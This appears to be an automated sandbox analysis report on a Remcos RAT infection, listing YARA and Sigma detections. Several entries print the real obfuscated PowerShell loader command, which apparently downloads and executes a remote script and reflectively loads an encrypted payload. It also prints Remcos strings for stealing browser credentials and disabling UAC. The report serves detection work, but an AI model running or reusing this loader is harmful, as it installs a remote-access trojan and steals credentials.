    00000024.00000002.2996548604.0000000008937000.00000002.10000000.00040000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      0000001A.00000002.2674769480.0000000008E27000.00000002.10000000.00040000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000001F.00000002.2812710908.0000000008A2C000.00000002.10000000.00040000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
        • 0x708:$a1: Remcos restarted by watchdog!
        • 0xc80:$a3: %02i:%02i:%02i:%03i
        0000004C.00000002.4826933353.000000000644C000.00000040.00000800.00020000.00000000.sdmpWindows_Trojan_Donutloader_f40e3759unknownunknown
        • 0x7adf2:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
        00000038.00000002.3735508842.0000000005D5C000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Donutloader_f40e3759unknownunknown
        • 0x7a43a:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
        Click to see the 101 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        11.2.powershell.exe.8dc1288.3.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
          11.2.powershell.exe.8dc1288.3.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            11.2.powershell.exe.8dc1288.3.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              11.2.powershell.exe.8dc1288.3.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x69308:$a1: Remcos restarted by watchdog!
              • 0x69880:$a3: %02i:%02i:%02i:%03i
              11.2.powershell.exe.8dc1288.3.unpackREMCOS_RAT_variantsunknownunknown
              • 0x63594:$str_a1: C:\Windows\System32\cmd.exe
              • 0x63510:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x63510:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x63a10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x64010:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x63604:$str_b2: Executing file:
              • 0x6444c:$str_b3: GetDirectListeningPort
              • 0x63e00:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x63f80:$str_b7: \update.vbs
              • 0x6362c:$str_b9: Downloaded file:
              • 0x63618:$str_b10: Downloading file:
              • 0x636bc:$str_b12: Failed to upload file:
              • 0x64414:$str_b13: StartForward
              • 0x64434:$str_b14: StopForward
              • 0x63ed8:$str_b15: fso.DeleteFile "
              • 0x63e6c:$str_b16: On Error Resume Next
              • 0x63f08:$str_b17: fso.DeleteFolder "
              • 0x636ac:$str_b18: Uploaded file:
              • 0x6366c:$str_b19: Unable to delete:
              • 0x63ea0:$str_b20: while fso.FileExists("
              • 0x63b49:$str_c0: [Firefox StoredLogins not found]
              Click to see the 7 entries

              Other

              SourceRuleDescriptionAuthorStrings
              amsi32_3664.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security
                amsi32_6092.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security
                  amsi32_7524.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security
                    amsi32_7848.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security
                      amsi32_8120.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security
                        Click to see the 11 entries

                        Sigma Signatures

                        System Summary

                        barindex
                        Sigma detected: Base64 Encoded PowerShell Command Detected
                        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNh
                        Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNh
                        Sigma detected: Suspicious PowerShell Parameter Substring
                        Source: Process startedAuthor: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNh
                        Sigma detected: Suspicious Script Execution From Temp Folder
                        Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\xiwpgftnewcebsxtokyugqisw", CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\xiwpgftnewcebsxtokyugqisw", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN
                        Sigma detected: Change PowerShell Policies to an Insecure Level
                        Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNy